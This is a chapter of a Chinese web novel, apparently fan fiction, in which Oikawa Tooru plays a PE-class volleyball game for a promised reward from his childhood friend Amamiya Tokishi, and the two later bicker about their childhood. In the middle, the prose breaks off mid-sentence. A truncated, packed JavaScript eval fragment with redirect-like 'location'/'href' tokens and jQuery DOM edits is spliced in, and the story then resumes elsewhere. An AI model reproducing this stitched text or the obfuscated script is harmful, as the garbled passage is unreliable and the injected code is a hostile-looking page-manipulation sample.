15.第15章

去往运动场的路上,雨宫时司最终还是选择告诉及川彻自己不能参加体能训练的事情。


他用的依旧是那个借口,回国之前那场严重的流感,不仅让他身体虚弱,还留下了肌肉酸痛的后遗症。


及川彻有些担心,但又确实无可奈何。


棕红的橡胶跑道上,他在雨宫时司前面,倒退着慢悠悠往集合点走,“这么严重的话,你不用去医院吗?得慢慢调理吧。”


“要去的。”外面还是有些冷,雨宫时司拉上外套拉链,解释,“这个月暂定是每周一下午去医院,所以前天我早退了。”


及川彻摸着下巴想了想,很快以拳击掌,兀自决定好了,“那下周一我陪你去!”


“不要、你好好走路……!”


话说到一半,就看见绿茵场内的足球被踢了过来,雨宫时司一把拽住及川彻的胳膊,待到球滚过去,轻轻拍了把及川彻的腰,“在运动场的时候专心一点,不要受伤了。”


及川彻很想听话,但又想亲亲热热地挨在雨宫时司身边。他拖长了调子用夸张的语调感叹“好负责的经理”,被雨宫时司横过一眼,才撇撇嘴不情愿地为自己辩解。


“我很注意的,你不要总是像训小孩儿一样训我。”


“是吗。”雨宫时司不为所动,“那你就不要表现得像是小孩儿一样。”


还是幼稚园那种,试图用作乱来吸引伙伴注意力的小孩儿。


虽然最后一句话雨宫时司没有说出口,但及川彻回忆起演讲录像时的背景音,已经能将雨宫时司的心理活动窥见一二。


于是等到班级统一的热身结束,同学们自发组队活动的时候,及川彻不顾道义地进入到了排球队里。


排在对面的同学都哀声载道的,及川彻不受影响,蹲在场外紧了紧鞋带。做好了预备工作,他站在雨宫时司身前,神气道:“看好吧,小孩儿才不会像及川大人一样,在排球场上那么耀眼。”


雨宫时司抿唇,眼里的笑意已经很难遮掩,可嘴上仍旧不愿意放过及川彻。


他站在台阶上,说话的时候眼睑轻轻垂着,“可是也只有小孩儿才会在这种时候赌气,不管不顾地想要证明自己。”


“为什么是赌气?”及川彻不服气,不顾台阶的高度,迎着高度差,还逼近了半步,“为什么不能是在喜欢的人面前表现自己?”


从未料到的话题转变让雨宫时司睁了睁眼睛,红色眼眸里浅淡的笑意很快被更为炙热的情感所取代了。他看着及川彻,唇瓣张张合合像是想要说点什么,可最后也只轻声叫了及川彻的名字。


及川彻看得出来雨宫时司很吃惊,他撇撇嘴,像是主动放过了这个话题,“没有给我的奖励吗?”


雨宫时司耷拉着眼睑,像是对及川彻的做派感到无可奈何了,“欺负同学,还想要奖励。”


“不啊……”


及川彻想要反驳,但身后已经传来队友叫他的声音。他回头匆匆打了个“稍等”的手势,接着便再度转向雨宫时司,很急切地补充。


“是勇敢的奖励,是对能说出那句话的我、对勇敢者的奖励。”


两个人的视线黏在一起,最终,还是脸皮更薄的雨宫时司率先别开了脸。他清了清嗓子,抓着及川彻的胳膊稳住身体,下了阶梯,站在离及川彻极近的地方。


“赢了的话。”


得了保证,及川彻任由嘴角疯狂上扬,笑得灿烂又放肆。他握着雨宫时司的后颈将人按向自己的方向,偏头用唇瓣碰了碰柔软的雪白发丝。


“一言为定。”


比赛的结果两人都心知肚明,还非得做一些关于结果如何的约定。但没人觉得这有什么不对,反倒是享受着这个向结果靠拢的过程,就连雨宫时司,站在场外的时候都明显和以往的心境更为不同了。


身边的长椅上放着及川彻的运动包,雨宫时司偏头看了一眼,坐过去将水壶和毛巾拿了出来。之后全程的时间,他的视线都格外专注地追逐着及川彻的身影。


虽然约定好了赢了比赛会有奖励,但碍于队友以及对面的同学都不是正式选手,一整场时间,及川彻都打得极为克制。


而在某次习惯性跳发球打得对面的同学站位都变得混乱之后,他下意识就扭头看向了雨宫时司的方向。


待到从雨宫时司眼里读出来不赞同的意思,他吐了吐舌头,无声道,“不小心的。”


接下来的时间,及川彻愈发控制了。他做不出公然放水这种事,只得将每一分的战线都拉得很长,让对面的同学以为有机可乘的同时稳定着队友,双方来回互相消耗一阵,再干脆利落地拿下小局分。


这种打法,作为二传的及川彻的运动量是最大的。雨宫时司站在场外,眼看着热汗从及川彻的下颌滴答落下去,心里已经有了不好的预感。


而等到比赛结束,他刚拿着毛巾和水壶起身往前走了两步,看见及川彻转身朝着自己跑过来的时候,他就知道自己果然是没猜错。


他连忙后退,一边后退,一边用摇头表示对于他而言过分激烈的庆祝的抗拒。


可及川彻权当没看见,他个高腿长,动作又大胆,三两步冲到了雨宫时司面前,胳膊一伸就顺利将人按进了怀里。


过分紧密的拥抱让雨宫时司面色紧绷,热汗浸透薄薄的运动衫,他咬紧了牙,僵硬的双手因为及川彻的胳膊而被迫保持着张开的姿势,“你这家伙,我真的……”


“奖励,不是说了有奖励吗。”


刚打完排球下来,但及川彻的语调仍旧很轻快。身后有刚刚一起打球的同学用搞怪的语调问他在干嘛,他不搭理人,只趁着雨宫时司无法挣脱,一偏头,这次是用唇瓣蹭了蹭雨宫时司的耳廓。


“奖励,加上胜利,给我双倍的。”


在不远处的同学看来,两人只是抱着在说悄悄话而已,雨宫时司不敢露出异样,只得催促,“快点松开。”


眼前柔软小巧的耳垂都快要滴血了,及川彻玩够了,听话地将人松开。他接过毛巾擦了擦汗,嘴上还似真似假地抱怨。


“阿司小时候可不会这么无趣。”


雨宫时司闭了闭眼睛,“那时候刚刚搬过来,不好意思说你而已。”


“是啊,不好意思说……”及川彻抬头望天,像是在回忆,“只会红着眼睛含两包泪,回家跟敬之哥告状说被公园里的小朋友欺负了。承认吧,就是


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15080512|162154||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


因为你的失误,敬之哥才一直对我有成见。”


雨宫时司面色微红,“没有告状,是他主动问我为什么搞得一身沙子,我说你拉我一起堆沙堡。”


聊起来初次见面的时候,及川彻也忍不住为小时候的自己平反,“那时候我又不知道你有洁癖,我只是看你站在滑梯旁边一直看着我和iwa酱,我以为你是不好意思主动加入,才会不管不顾上手去拉你啊!”


“完全没有。”雨宫时司幽幽道,“我只是在想那种东西有什么好玩的。”


及川彻;……


“人心果然多变!你现在都不愿意承认我小时候对你的好了!”及川彻炸毛,“后来知道你有洁癖了,我不是一直都在保护你吗!无论幼稚园还是小学,我都让那些玩得脏兮兮的小孩不准碰你!”


“那是两码事。”雨宫时司冷静地指出,“而且你不让别人碰,结果自己每次玩得满头大汗了还非要过来,就像刚刚一样!”


及川彻大声:“不是说好了有奖励吗!”


雨宫时司依旧冷静,“但我没有说奖励是什么样的。”


及川彻委屈炸了,“那如果不是我想要的,还怎么算是对我的奖励?!”


雨宫时司:……


及川彻乘胜追击,“看吧,因为不占理,所以你没话说了。”


雨宫时司闭了闭眼睛,很想保持冷静,但结果是毫无意外的失败了,“开学之前我是不是跟你说过了……”


“在学校还这么得意忘形的话,你就真的完蛋了!”


*


回教室经过五班的时候,及川彻很想装作透明人。


但毫无意外地以失败告终。


岩泉一刚刚去老师办公室拿了资料过来,看见及川彻的第一眼就愣住了,“……你怎么了?那个头发是什么鬼。”


及川彻双手抄兜,顶着杂乱的头发,还竭尽全力想要装出一副无所谓的样子,“操场的风太大了。”


岩泉一左看右看,确认附近没有雨宫时司的身影,精准猜到答案,“哦,原来是被阿司制裁了。”


及川彻嘴角抽搐,指指点点道:“准确一点,是他恼羞成怒了。”


“他出国一趟,果然就变了。现在他都不愿意承认我小时候一直保护他了!iwa酱你也记得吧?我小时候对他有多好,但他还是去找敬之哥告我的黑状。搞得敬之哥总以为我在欺负他,看看我的头发,明明一直以来被欺负的都是我!”


“不仅敬之哥,连青城的同学都以为他脾气很好了。刚刚在操场,我被他那么蹂躏,其他人居然觉得是我做的过分惹他生气了。你这么用力眨眼干嘛?眼睛抽筋了吗……为什么又摇头……”


接连的猜测失败让及川彻的声音弱了下去,在读出来岩泉一满脸的“没救了”的意思后,及川彻直接就噤声了。


某个最为糟糕的猜测在心中成型了,就是这时候,身后传来的一如既往冷静的声音变成了压垮及川彻的最后一根稻草。


“你是不是忘了,我回教室也要经过这里。”


及川彻耗尽全力控制住了表情,转身面对着雨宫时司,清了清嗓子,“宣判之前,没有辩护机会吗?”